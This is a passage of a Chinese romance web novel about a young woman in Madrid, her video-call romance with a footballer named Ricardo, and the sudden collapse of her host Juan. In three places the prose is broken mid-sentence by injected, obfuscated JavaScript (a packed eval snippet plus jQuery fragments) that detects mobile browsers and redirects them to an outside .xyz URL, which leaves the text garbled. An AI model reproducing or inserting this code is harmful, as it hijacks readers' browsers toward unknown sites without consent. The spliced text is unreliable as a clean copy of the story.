“听你的描述,他不像巴西人。”达尼尔托着咖啡杯,眉毛微微一挑,“巴西人有这么乖巧吗?”他和卡洛斯交换了一个意味深长的眼神。 卡洛斯擦了擦手,耸耸肩:“据我所知,巴西男人会对全世界的漂亮女孩说‘我爱你’,除了卡卡。” “你说谁?”我猛地转向他,眼里写满了不可思议。 “卡卡。”他重复了一遍,语气中带着一丝疑惑,目光在我的脸上短暂停留后,又转到达尼尔的身上。 “她不看足球。”达尼尔对他解释,随后又转头对我说,“一个足球明星。前几年在皇家马德里效力。他就是巴西人,球技精湛,人品更是出众。他现在好像去美国了?”他看向卡洛斯。 “对。”卡洛斯点点头,在达尼尔身边坐下,达尼尔顺手给他倒了一杯咖啡。“卡卡去年和美国的奥兰多城签约,之后被租借回巴西圣保罗踢球。今年又回归奥兰多了。” 他呷了一口咖啡,继续说道:“一旦球员前往美国,就意味着他们在欧洲顶级联赛的辉煌岁月已经落幕,转而开始享受更为轻松的‘养老生活’。卡卡和他的妻子,一直是足坛公认的金童玉女。他是那种罕见的,私生活干净,始终保持良好形象的顶级球星。” “他们离婚了。”我说。 卡洛斯猝不及防地被呛了一口:“什么?” “上个月的新闻,卡卡和卡洛琳已经离婚了。”我背对着他们,慢条斯理地把台面上的杯子一只只抽出来,再用干净的抹布擦拭一遍,用以掩盖我的紧张。 我听见卡洛斯狠狠咳嗽了几声,达尼尔则发出了长长的一声“哦”,然后是一阵沉默。我能感觉到他们的目光如同聚光灯一般聚焦在我后背上,这让我浑身不自在。我尽量用长发遮住裸露的皮肤。 “你现在开始关注足球明星了?”达尼尔问,他似乎没有察觉到我情绪的变化,“她小时候从来不关心这些,只喜欢那些躺在坟墓里的古代人——”他对卡洛斯说,“我是说,那些几百年前的诗人、画家、戏剧家……她既不喜欢时尚,也不喜欢明星。不过现在看来——” 他若有所思:“至少你的审美还是正常的,起码你喜欢的是拉丁人,无论是登上八卦新闻的,还是和你约会的。对了,他叫什么名字?” “里卡多。”我说,“我们还没有开始约会。” “他也叫里卡多?”达尼尔惊讶道。 - 把达尼尔和卡洛斯打发走后,我轻手轻脚地走上楼梯,去自己的房间里睡午觉。 胡安和阿尔玛的这栋别墅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956397|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是典型的西班牙地中海风格,墙面使用了带有粗糙质感的浅色涂料,流畅的圆形拱门连接起一个个宽敞的空间,而透亮的玻璃窗格则将阳光慷慨地引入室内。 我走进房间,把自己深深地埋入柔软的床铺中。床品的细腻触感和清甜的玫瑰香味(阿尔玛钟爱的洗衣粉的味道)让我感到无比放松。 阖上眼睛,感受到空气泛起波纹,风轻抚发丝,微微酥麻。下午四点钟的阳光正穿过窗前的橘子树叶斜照进来,形成一片金黄与翠绿交织的漩涡,蝉鸣声有些聒噪。 不知道过了多久,手机铃声遽然响起。我半睁开眼,懒洋洋地伸出手,从层层叠叠的被褥中摸出手机,按下接听键。 是里卡多。湿漉漉的深棕发顺服地贴着头皮,褐色的眼眸中水汽氤氲。 他轻声笑了,那声音轻柔得如同一根羽毛,在我的掌心悄悄搔动。 “佐伊,你是不是在午睡?抱歉,我忘了现在是你们西班牙的传统午睡时间。” “里卡多?”我睡眼惺忪,下意识地揉了揉眼睛,手一松,手中的手机毫无预兆地滑落,不偏不倚,重重地砸在了鼻梁上。 “嗷!”我忍不住发出一声痛呼。 “佐伊!”里卡多的声音里瞬间充满了惊慌。 “没事——”我忍着痛,嘶嘶地喘息着,伸手将那 “罪魁祸首” 拿开。 “很疼吧?”他凑近了屏幕,目光紧紧锁住我的脸,仔细观察着我的状况,“看起来有点红,不过幸好没有破皮。” “我没事,就是有点痛。”我皱着眉,小心翼翼地碰了碰鼻梁。 “你现在这模样——”他哭笑不得,“真的好像一只被踩到尾巴的小狐狸。” 我郁闷地看着他,决定不去理会他的打趣。“你刚洗完澡吗?”我问 “只是冲了冲头发。”画面开始轻微晃动,我意识到他正手持手机在移动。从镜头偶尔捕捉到的一瞥中,可以辨认出他似乎正穿梭在一条走廊里。 “我刚结束上午的训练。本来想立刻给你打视频的,但又觉得自己满头大汗的样子不太好。” 画面终于稳定了下来,他关上身后的门。 “找了一个空的休息室,这样就没人能打扰我们了。”他把手机重新举到面前。 “从视频电话里看你,好像又有点不一样。”我已经彻底清醒过来,干脆在床上盘腿坐了起来,调整了手机的角度。 “有什么不一样”他眨了眨眼。 “你的眼睛看起来更大了。”我一脸认真地说道,“睫毛也好长,像小刷子一样!看得好清楚,之前都没这么近距离观察过你。” 他无奈地看着我。“佐伊——” 我忍不住嘻嘻笑了起来,单手捧着脸往右侧倒去,侧躺在了床上,将手机斜放在脸旁。 “在中国,有些家庭流传着一种观念,认为通过剪短婴儿的睫毛可以促使它们长得更长、更浓密。” “真的有这样的做法吗?它真的有用吗?”他惊奇地问。 “应该是没用的。我小时候差点被剪了——我妈妈说我奶奶曾想给我剪睫毛,被她拒绝了。” “幸好你妈妈及时阻止了。”他认真地点点头,“你的睫毛已经很长了,不需要任何额外的干预。” “我妈妈向我奶奶解释:睫毛的长短只和遗传等生理因素有关。我想,她的意思是,她早已把长睫毛的基因遗传给我了。”我做了个鬼脸。 他不禁笑出了声。 “里卡多,我喜欢洗完头之后的你,看起来水汪汪、甜蜜蜜的,像一只新鲜的桃子。” 他的瞳孔微微放大了。“佐伊,这个比喻有点奇怪。” “你还说我是小狐狸呢!”我反驳他,“这个比喻也有点奇怪。” “小狐狸是你自己选的。难道你改主意了?想当小狗?” “没有!”我急忙打断他,眼中忽然闪过一丝狡黠。 “好嘛,我是小狐狸也行。不过小狐狸觉得眼前的这只桃子看起来实在是太诱人了,于是她摇着毛茸茸的尾巴,对桃子说:‘桃子先生,我决定要把你吃掉啦,你快跑吧!’” 我绘声绘色地说着。 他坐在沙发上,两只眼都在笑。 “桃子先生是不会逃跑的。” “为什么?” 他的笑意更加浓郁。“桃子先生会这样说:‘亲爱的狐狸小姐,我情愿成为你的点心,你想吃就吃个痛快吧。’” 我的脸瞬间涨红。到底谁是桃子啊?我在心里哀叹。 “你犯规。”我嘟囔着,“哪有桃子心甘情愿被吃掉的?” “或许是因为——”他停顿了一下,“这是一只早已预见到自己命运的桃子,却仍然不能自拔地被狐狸小姐所蛊惑。” 我轻啮嘴唇,有些不知所措地看着他。 “佐伊——”他的声音柔和而深沉,像是在诉说着一个只有我们两人知晓的秘密。 “我看到你那条消息了。一回到更衣室,我就看到了。”他的目光穿透了我,微微蹙起的眉毛下,眼神依旧复杂:满载着柔情,淡淡的甜蜜,还有一丝难以察觉的苦涩,“我也在想你,每时每刻。” 12. 妒忌的天使 胡安和阿尔玛是马德里自治大学文哲系的教授,尽管暑假已至,他们无需去学校上课,但他们生性温和慈爱,向来对学子们关爱有加,因此依旧敞开家门,欢迎硕士生、博士生和年轻的学者们前来拜访。而我也能参与到这些才智之士的讨论之中,受益匪浅。 马德里夏季的白日炎热而漫长,光照时间极其充足,直到晚上十点钟,太阳才依依不舍地西行休憩。 我常常睡到早上九点钟醒来,上午的时光一般在家中度过。我喜欢躺在院子里的躺椅上,在微风的轻抚中读几页书,或是骑上自行车,穿梭于社区的小径和花园。 偶尔,我也会和邻居家的女伴相约,一同驱车去市区消遣——喝咖啡,看画展,去英国宫购物,或是在丽池公园的草坪上铺开野餐布,享受美食的同时顺便喂喂那些悠闲觅食的胖乎乎鸽子。 下午是固定的聚会时间,我们的客人通常包括三四位邻居和几位慕名而来的年轻学者。已经度假回来的保姆索菲亚总能在这个时刻展现出她的烹饪才华,为我们端上一桌配有桑格利亚水果酒的西班牙风味佳肴。 年长者与年轻人围坐在一起,所有人都欢声笑语、兴高采烈,谈论着文学、哲学、历史、音乐、绘画……,蝉鸣声此起彼伏,到处都是鲜花、蝴蝶和橘子的气息。 聚会结束后,便是西班牙人热爱的午睡时光。这段时间里,连各类商店也纷纷闭门谢客,只因绝不能打扰正在呼呼大睡的老板和员工。 午睡过后,我往往同里卡多打视频电话。由于时差,这会儿他一般在吃午饭。 而到了傍晚七点,马德里的天色依旧明亮,这座城市的黄金时刻也才刚刚拉开序幕。 和大多数西班牙年轻人一样,我常常和达尼尔、卡洛斯以及其他朋友——有熟悉的面孔,也有新结识的朋友——一同泡在市内的酒吧里。 等到晚上十点,我们这群微醺的年轻人会选择一起去餐厅享用一顿丰盛的晚餐。在马德里,此时是晚餐的高峰时刻,那些备受欢迎的餐厅总是人满为患,需要提前预订。 午夜十二点,城市中依然灯火通明,而选择在这个时刻回家的人,或许可以被看作是“守规矩的好孩子”。 当然,我也有打乱日程表的时候。 有一次,我一整天都和胡安在一起。我们严阵以待地戴上口罩,站在梯子上,拿着鸡毛掸子为那些久未露面的大部头旧书——一层层地垒在拱形红樱桃木书架上——除灰扫尘,再小心翼翼地把它们搬到庭院里,在太阳底下一本本摊开,好晒一晒带着霉味的书页。 下午,几个上门拜访的学生加入到我们的行动中。大家在其中惊奇地发现了好几部装帧精美的十八世纪古董书;胡安高兴地找回了他和一位已故十年的老友的旧信——那封信被紧紧地夹在一本纯银搭扣的《哈扎尔辞典》之中。 还有一次,我应拉斐尔之邀成为了他一天的模特。这位沉默寡言的画家在第二次来访时,带着一丝羞涩向我发出了邀请。 可怜的人儿,当时他那面红耳赤、支支吾吾的样子让达尼尔啧啧称奇了好几天。 于是,在他带着画具和颜料再次来访的时候,我们在庭院草地上铺开了一块淡黄色的棉质餐布,作为我午后小憩的背景。餐布上随意摆放着几只新鲜的青皮橘子,那是我们中身材最高大的卡洛斯从树上摘下来的。 然而,当有人如此专注地凝神注视着你时,想要忘却一切,恬然入睡,这本身就是一种挑战。 当我侧躺在那块餐布上,闭上双眼的时候,便能感受到在一片混沌的色彩中,有一个鲜明的红色焦点,正散发着恒星般的热度——那无疑是拉斐尔的炯炯目光。偶尔,还有几颗流星划过——那是好奇的学生们前来观看的如炬视线。 对此,我只能阖眼假寐,尽量摆出自然斜卧的姿势,心中则默默回想着前一天晚上发生的事。 那天晚上,我们聚集在一家名叫“夜枭之吻”的酒吧,为卡洛斯的一位同志朋友庆祝生日。熟悉的老友和新面孔交织在一起,大家举杯畅饮,气氛极其热烈。 我与一个戴着黑框眼镜、气质斯文的男生坐在了一起。我们交谈了两句后便立感投机,又亲密地就伍尔夫和二十世纪的女性主义聊了一个多小时。 这场派对结束后,我本想索要他的联系方式,以便将他纳入我的闺蜜圈;他却突然提出邀请,希望我能去他家过夜,继续我们的文学讨论。 当他说到“彻夜”和“文学”这两个词的时候,我确信自己没有会错意——他非常暧昧地伸出舌头舔舐了一下上嘴唇。 惊愕的神情当即凝在了我的脸上,还没等我回过神来,卡洛斯已经把我拉走了。 “放机灵点,马科,别打我妹妹主意。”卡洛斯警告他。而对方只是耸了耸肩就走开了。 “可是他混在那群同志里!他喜欢文学!他的气质那么柔弱!”直到坐在车上时,我仍然难以抑制心中的惊诧,忍不住惊呼道。 “别大呼小叫的,他既睡过男孩,也睡过女孩。”达尼尔懒洋洋地转过头来说。 - “我当时真的以为我们兴趣相投。”我闷闷不乐地对手机那端的里卡多说。 彼时,时钟的指针已然指向凌晨2点,我刚刚洗漱完,而对里卡多来说,奥兰多还是晚上8点。 “我的意思是,不仅仅是伍尔夫和女性主义,还有男人。我以为他也喜欢男人,只喜欢男人。”我特意在“只”上加重了语气。 “他有对你动手动脚吗?”里卡多的语气忽然变得严肃起来。 “没有,完全没有。事实上,他整晚都表现得非常绅士,直到派对结束。不然,我也不会笃定他是个同志。”我边说边拿着手机走进房间,屏幕上映出了我失望的表情。我用脚轻轻勾上门,挫败地倒在床上。 “我现在可真是有点不放心了。”他低声嘟囔了一句。 “什么?”我抬起头,把手机竖直放在面前。 他没有马上说话,屏幕里那张迷人的脸现在绷紧了,双唇抿成一条谨慎的线条,仿佛在努力搜寻着合适的言辞。 “我知道我可能没有资格说这些,但是,佐伊,你意识到了自己是个漂亮姑娘吗?” “我猜你这话应该不是在夸我吧?”我问道,语气里带了点怀疑的意味。 里卡多在座椅上调整了一下姿势,坐得更加端正。 “会有很多男人围绕在你身边,”他字斟句酌,定睛注视着我,“他们之中,有些人并非真心实意想和你交朋友,而是别有所图。佐伊,请不要生气,我只想陈述一个事实。” “我不会生气。不过,你现在似乎是把我当成一个不谙世事的小女孩了。我有一个在我少女时期就开始疯狂谈恋爱的表哥,还有一些关系良好的男生朋友。我完全明白某些男人对我的想法。” “呃……”他踟蹰着,下巴微微收紧,片刻后说道,“我想说的是,当一个男人和你热烈讨论一位主张女性主义的作家时,他可能更多的是为了赢得你的好感,而不是真的在表明自己的主张。” “但这不代表他自己不对这些感兴趣,而且他看着很学院气,或许我应该问问卡洛斯,看他是不是从事文学方面的工作。”我试图为自己的判断辩解着。 “看来你们确实聊得很投机,”他说道,眉心上刻下了一道深深的楔形凹槽,生硬的色彩悄然渗进他的声音,“即便你想着和他开文学研讨会,而他却盼望着能和你春风一度。我怀疑你是否真的了解男人的那些心思——” “里卡多!”我的眼睛瞬间瞪大,脸上的表情从平静转为惊愕,“你明知道我绝对不会想和他约会!我只是觉得有些可惜,我原以为他会是个值得交往的朋友!” “值得交往?”他重复道,他现在的声音几近于嘲讽,“佐伊,你不是曾经和我说过你讨厌那些浮夸虚伪的男人吗?但现在看起来,或许只是因为你还没有遇到一个既能对你甜言蜜语,又能迎合你的喜好,还能陪你高谈阔论文学的人罢了。” 我没有想到他会这么说,心里顿时激荡起了一股冷冷的怒气。 “你干嘛这么说我呢?”我质问道,手机几乎贴到了我的脸上,“如果你要改变对我的看法,不妨一视同仁,连我对你的评价也一起改了吧!现在看来,性格再怎么温和的人,都免不了喜欢说几句刻薄话!” 羞恼从他黑褐色的眼睛里一闪而过。 “我有权利选择自己的朋友。”我提醒他。 “你当然有。”他的口吻冷若冰霜,双眼眯起,仿佛在压抑着某种强烈的情绪,“你完全可以去和其他任何你认为‘值得交往’的人约会,这是你的自由,我无权干涉。但这个人,绝对不行!他装扮成讨你欢心的模样,想趁你被酒精搞得小脑瓜晕乎乎、荷尔蒙持续高涨的时候把你带回家。我真庆幸你身边有你的哥哥们在,否则,明天我的教练就要气疯了!因为我铁定要缺席训练了。要是联系不上你,我就会连夜飞过来。” “你在开玩笑!”我脱口而出。我太吃惊了,以至于连愤怒都忘记维持了,我腾地一下从床上坐了起来,“可是你不能这么干!” “我能,你会有机会发现的。”他回敬我,“下一次,如果你再这样轻率地去‘交朋友’的话。” 我目光灼灼地盯着他英俊的愠怒的面庞,仿佛在凝视着一个被妒忌之火点燃的天使长米迦勒。 “可你为什么要这样做?”我犹疑地诘问,恼怒的神情一下子化为乌有了,“是在担心我?还是——出于妒忌?” 如果他的怒火中真的掺杂着妒忌的成分……我捏紧了手机,另一只手不自觉地握成了拳头,指甲深深陷入手心。 “上帝啊,毫无疑问,我当然担心你了!”他睁大了眼睛,难以置信地看着我,“我不想看到你受到任何伤害, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956398|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论何时何地!这是我最不愿意看到的。” 随后,那张锁结着眉头的漂亮脸蛋上,渐渐露出了一丝困惑和微微羞惭的神色。 他抿了抿嘴唇,思索了好一会儿,语气随之开始改变:“或许……是的,我想其中确实有一部分原因是出于妒忌。我很抱歉,刚刚那些话太过分了,那些指责你的言语,真的太失礼了,那不是我真心想说的。” “那些话很伤人。”我说。 “对不起。”他羞愧地垂下眼,镇静下来。 现在,他又变回了那个宁静而温和的、我无比熟悉的里卡多。 我迟疑着,我开始思量他的妒忌是否会让我感觉不适。然而,出乎意料的是,我竟在这份嫉妒中寻得了一种奇异的幸福。 我知道自己在这一场争吵中并非全然无辜,但是,是否要在这个恢复美善的天使面前检讨自己呢? “今晚我也不太冷静,就像是一点儿也听不得别人的意见似的。”我还是承认道,“抱歉,我猜我可能是不想在你面前显得太幼稚,但结果却显得更孩子气了。” 他摇了摇头:“这才符合你的年龄,佐伊。” 此刻,我们两人都意外地很宽容,就好像刚才剑拔弩张的气氛从未存在过似的。 “这么说,我们互相原谅对方了?”我呼了一口气,心情轻松了不少。 他往后一仰,靠在柔软的软垫上。“当然啦。”他冲我微笑。 “那么来说说妒忌的事。”我托着下巴,换了个姿势趴在床上。蓝绿色的眼睛掩盖不住笑意,在镜头里忽闪忽动。 “什么?”他茫然地问,目光开始不自觉地往一旁逡巡。 “别装傻。”我伸出手指,轻轻戳了戳屏幕里他鼻子的位置,“你刚才已经亲口承认你在妒忌了。告诉我吧,你为什么会妒忌?是因为他差点把我带走过夜?” “佐伊!”他立刻不赞同地打断我。 “好吧好吧——”我急忙举手投降,不想在这一点上过多纠缠,“我承认你的顾虑是对的,那个人确实不怀好意。但是天呐,我现在真的一点儿也不在乎他了!莱特先生的好孩子课堂可以下课了。现在,我们该聊一聊成年人之间的话题了。” 里卡多掩饰般地捂嘴咳嗽了一声。我紧紧注视着他,试图从他游离的眼神里捕捉点什么。 “蕾拉好像在喊我。”他张望着。 “别逃避话题。”我意味深长地说,“妒忌是七宗罪之一呀,我的米迦勒。难道你不需要对我忏悔一番吗?” 他双眼圆睁,无措地看向我,旋即,从脖子的部分开始往上,迅速染上一层红晕。 “我会在睡前和主忏悔的。”他喃喃低语。 “你应该先告诉我。”我理直气壮地要求道,“我想先听一听。”虽然这很没道理,也根本不存在任何理由支撑。 “他可以和你谈论文学。”他沉默了好一会儿,卒然开口。这话却出乎我的预料。 我不禁愣了一下。 “这没什么。”我尽量用一种满不在乎的口吻说道,“文学的确是我的爱好之一,但我的爱好远不止于此。只要彼此有一点共同爱好,就有可能发展出友谊。但我绝对不会因此就对朋友产生额外的感情。” “我明白。” 他轻轻叹了口气,“但是我忍不住妒忌他。我真的忍不住。他能够和你面对面地交谈,谈论着你喜爱的话题,可这个人居然对你抱着如此龌龊的想法。一想到这些,我就感到一股无法言说的愤怒,我的大脑瞬间被那些永远不会被主饶恕的疯狂念头所淹没……” 他说着,眼皮随着语气的加重而微微颤动,胸部也在急促地上下起伏。 我开始有些后悔提起这个话题了:“如果这个话题让你感到难受——” 他深深吸了一口气,坚定地摇摇头。 “是我失态了。今晚我真的非常、非常抱歉,我没有控制好自己的情绪,我本不应该这么激动。我希望这没有影响到你对我的看法——”他苦笑了一声。 “当然不会了!”我大声说。 “之前我请求你给我时间去思考我们之间的关系,如今却对你的交友指手画脚……甚至,如果你现在想和别人约会,我也没有什么立场来反对。” “和别人约会?”我咀嚼着他的话,感到一阵燥闷,“可你明知道我不会。” “佐伊……” “这不公平,里卡多。”我短短地微笑了一下,短得眼睛里根本来不及露出笑意。“你在我们之间设置了一个无形的裁判。他是谁?他在哪?他有什么权利来审判我们的情感?既然我喜欢你无需得到任何人的许可,那么他又怎能束缚你呢?难道我们之间的互相吸引,这些天的交谈与欢笑,都是一场游戏,一场幻象吗?” “等我们见面,佐伊。” 他最后只是这样说。 “一切都等到我们见面。” 13. 错乱的光影 我长长地吁了一口气。 “请不要动,佐伊。”我听到了拉斐尔的声音,犹如牧神的那支芦笛一般轻轻攫取住我的意识,把它从乱作一团的思绪中牵回来,落到蒸腾的暑气里。 当画家的模特真是个苦差事。 我感到百无聊赖,这让我不得不用强大的毅力来抵抗那股想要扭动身体的冲动。我已经经历了十几次或全身或局部的麻木与恢复,然后又是新一轮的麻木,这种循环简直让人厌烦透顶。 “拜托,只剩最后一笔了。”拉斐尔喃喃道。 终于,这场持续四个小时的绘画结束了,午餐时间也已经过去。索菲亚在厨房给我们留了一锅炖鱼——鲜美的鲑鱼搭配土豆、洋葱、青椒和西红柿,一大盘由排骨、兔肉和鸡肉组成的菜肉烩饭,以及她的招牌美食土豆鸡蛋饼。 “美食成功抚慰了我麻木的躯体。” 我给里卡多发消息说。 “这是生理上的麻木。我一动不动地躺了整整四个小时!甚至我呼吸的幅度稍微大一点,都会引起拉斐尔的不满!他一沉浸到绘画中简直变成了一个苛刻的奴隶主!” 但当我看到拉斐尔完成的那幅画的时候,我不得不承认这几个小时的折磨是值得的。 这幅竖式画架上的油画是典型的印象派风格,阳光与空气在笔触中颤动呼吸,光影和色彩在画布上微妙起舞。 阳光洒落在翠绿的草地上,一个十七八岁的少女斜倚在亚麻布上。她的长裙,以发光的丝线绣成,如同一朵洁白如银的睡莲般铺展开来。她的身体纤秾合度,自然舒展;五官纤丽,睫毛长而卷翘,嘴唇是轻而淡的肉色,象牙白的脸蛋上微微泛着一点玫瑰色的红晕,栗色的长发如瀑布般流淌。 在寂静而困倦的昏晕中,少女的眼睑轻轻闭合,似乎沉浸于一个甜美得出奇的梦境。杏黄色的日光从橘子树的叶片上溜过,在她的肌肤上跳跃,萦绕着一种波点式的柔和光泽,使她看起来既真实又梦幻。 里卡多对这幅画充满了兴趣,我用手机拍下来发给他看。在训练的间隙,他回复了我。 里卡多:我想买这幅画。 佐伊:什么? 里卡多:你能给我那位画家的联系方式吗? 佐伊:你是认真的吗? 里卡多:当然!画中的你是一位仙子吗?还是一个精灵?简直太令我着迷了。 佐伊:谢谢你的赞美。不过我得先问一问拉斐尔。 对于里卡多想买这幅画的打算,我的感受很复杂。虽然他不止一次地称赞我“漂亮”,我也清楚自己的外表确实具有一定的吸引力;然而,就像无数怀揣浪漫梦想的女孩一样,我渴望以自己的内在,而不仅仅是躯体——根据我的DNA结构排列而成的细胞集合体——去赢得心上人的欣赏,我不希望他的注视到此为止。 尽管如此,里卡多对我外貌的赞美,有时也会让我感到一丝暗暗的喜悦。 难道你不也是因为他英俊的脸蛋而一见倾心,之后才愿意去探索他的内心世界吗?我心中的道德导师在轻声质问我。 亚当和夏娃被欲望的化身——那条撒旦派遣的蛇所诱惑,从此离开了伊甸园的庇护,这便是他们后代所继承的原罪。 人类似乎从诞生的那一刻起,就注定要陷入美丽皮囊的圈套之中。外表与内心真的相互契合吗?或许,只有当我们真正深入其中,才能分辨出看似诱人的表象之下,究竟隐藏的是致命的毒药,还是香甜的蜜馅。 - 佐伊:拉斐尔同意了。不过,他得先带着这幅画作去参加画展。 里卡多:太好了!我想把它挂在我的卧室里。 佐伊:你对印象派的风格很感兴趣吗? 里卡多:之前并没有特别的感觉,但是现在看到这幅画,我非常喜欢。我们应该邀请一些不同风格的画家来为你画画。 佐伊:里卡多,有时候我真怀疑你是不是有多重性格! 里卡多:呃,这似乎不是什么好话……是我哪句话说得不妥,惹你不开心了吗? 佐伊:…… 佐伊:你应该明白,把一个女孩的画像挂在卧室里,这实在是一件极易引人浮想联翩的事情! 里卡多:我明白你的意思了,我应该先征得你的同意。对不起,佐伊。 佐伊:我不是在乎这个。我郁闷的是,你总是在对我做一些暧昧的事,而你的心却游移不定。你始终在矛盾中摇摆。你就如同这幅画上的色块一样边界模糊,又像光影一般迷离错乱。 里卡多:佐伊,真的很抱歉,这不是我的本意。我的行为是不是让你伤心了? 佐伊:……算了,忘了我说的这些话吧。这是我自己的选择,或许我不该抱怨什么。 里卡多:不要这样说。我很感激你愿意和我分享你的感受。我迫切希望能够以一种更冷静的方式与你相处,但我发现这越来越难做到……但我绝不想让你感到难过! 佐伊,请相信我,到了我们见面的那一天,我会向你坦诚我的答案。在那之前,答应我,试着去做一些能让你感到快乐的事情。 - 买画事件过去后的几天里,我的心情并没有像里卡多期望的那样变得轻松愉快。 或者说我很想让自己快活一些,但在那些喜悦——那些每每随着他温柔的注视、甜蜜的话语而降临的幸福中,总有一丝担忧如影随形。 犹如一首完美的夏日协奏曲总是被一个笨手笨脚的新手演奏者破坏: 那些震颤郁热的音符,抑抑难言的心忧;早已明悟却再次惊疑不定;总在揣摩他的想法,他的意图;为此思索再三,反复揆度,斟酌又斟酌。 他的目光是否真的饱含爱意? 他的所行又是否带有暧昧的欲色? 难道这一切都是我自己的荒腔走板,我的曲解和想象? 渴望他的亲昵又视这份亲昵如阿特洛波斯的命运剪刀;为我带来快乐之人也是令我精神痛苦之人;害怕一不小心就与幸福结局失之交臂;忧疑这份欢欣是绞刑架前最后的怜悯;宁愿他是被滴入花汁的狄米特律斯,又畏惧这朵紫色小花将醉倒他的褐色眼眸…… - 有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956399|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上,我没有出门,而是在家里陪伴胡安和阿尔玛。 “我可能需要提前离开马德里了。”我坐在沙发上,手指轻轻翻过一页书,假装不经意地提起,“29号,我得回美国一趟。” 胡安从他那副老花眼镜的上方投来询问的目光,他手中正拿着一摞出版社转寄来的读者信件,阿尔玛在一旁帮他整理剩下的那沓。他俩都坐在靠墙的小圆桌旁。 “学校里的事吗?”他问。听起来他并不准备刨根问底,这正合我意。 指腹轻轻划过纸面,我的视线先是涣散,继而缓缓聚焦。“不是。嗯,差不多吧。”我闪烁其词,目光直直地定在纸面上的西班牙文,“去和一个朋友碰面。” “那让达尼尔送你去机场。”胡安说,他将一封字迹略显潦草的信件高高举起,眯起眼睛,在灯光的映照下仔细辨认着,“上午我们和布兰卡通过电话,她很希望你能多交几个朋友——” “我已经有很多朋友了。”我的声调不自觉地提高了一点。 “我猜也是。”胡安友善地笑了一下,把信递给阿尔玛,“达尼尔和卡洛斯也带着你认识了不少人。” “从中学起我就开始交朋友了,她总以为我还是那个孤僻的小可怜儿。”我抱怨道,却不是真心在埋怨。 胡安和阿尔玛交换了一个眼神 “应该写得是……这个词,拉丁文。”阿尔玛向胡安耳语。“她一直内疚于没有在你小时候更多地陪在你身边。”她转向我,“当她终于意识到自己也想要做一个好母亲,而不只是她自己的时候,时间可不会停下脚步,你已经长大了。” “我现在很好。”我强调,努力将注意力集中在手中的书页上,“事实上,小时候的我很享受那些远离人群、独自沉思的时光。‘有的人的孤独是病者的逃避,有的人的孤独则是对于病者的遁逃。’但我同样珍视良师益友对我人格的助益。当然,地中海的阳光也是不可或缺的。”我补充道,这话果然奏效,因为他俩不约而同地笑了起来。 “我一直认为阳光很关键。”胡安感慨道,“炙热的阳光铸就了我们的民族性格——乐观,自由,奔放,满怀热情。” 阿尔玛则意有所指地接过话茬:“我跟你妈妈说,她没必要从我们这儿打听你的消息,她为什么不直接向你表达她的关心呢?” 沉默在房间中短暂地驻足,我又翻过一页书,纸张沙沙作响。 “她有在关心我。只是她对我确实有点谨慎了。”我咕哝着,“不过这总比那种让人窒息的过度关注要好。至少,我现在过得很自在。” 我感觉到阿尔玛的目光越过胡安,在我的脸上扫来扫去。 我的视线在书页上游移,发现新内容让自己云里雾里,我怀疑自己似乎看漏了一段,于是又翻回了前一页。 “我定期会给她打电话。”我继续说,“我知道她爱我,我也爱她。这样就很好。我愿意她去做自己爱做的事儿,和我爸爸一起,享受他们自己的生活。她不欠我什么。而在我的人生里,她也只占据一小部分,虽然很重要,但仅仅只是一小部分。” 14. 变故 8月29日的清晨,当我在房间里最后检查要带去美国的行李的时候,突然从房间外面传来一声痛苦的呻吟,紧接着是訇然倒地的沉重声响,随后响起阿尔玛的尖叫声——“胡安!” 我立即冲出房间,霎那间,我所有的感官都被强烈的情绪所淹没。 我很难说清那是一种怎样的感受——是愕然,惊恐,焦急,还是惧怕。每一种情绪相织在一起,促使我的心跳加速,呼吸异常频促,仿佛整个世界都在那一刻凝固,而唯一清晰的窗口中的景象,就是倒在楼梯上的胡安。 接下来的一整天都在一种混沌的状态中流逝,它由阿尔玛拨打急救电话时那颤抖、绝望的声音所标记,那声音仿佛是飘摇在这场混乱风暴中的第一丝脆弱的人类触感。 索菲亚和我迅速把胡安移到一楼。 我开始不知疲倦地按压着胡安的胸腔,每一次机械的按压都伴随着我的怀疑和恐惧——我可能已经压断了他的肋骨! 但谁还能顾得上这些?! 我只能感受到自己的心跳在耳边如雷般回响,与我手下的按压节奏形成了一种奇异而沉重的共鸣,我所能依赖的,只有我手中规律的节奏。 然后有一片陌生的脚步声,它们像是纷乱的乐点,突兀地穿插在紧急的背景音之中。 胡安那可怖的、呈现出诡异紫色的面孔,终于响起的微弱却让人心生希望的心跳声,涌入客厅里身着白色大褂的医护人员,一双双坚定地抬着担架的手,门口静静等待的救护车…… 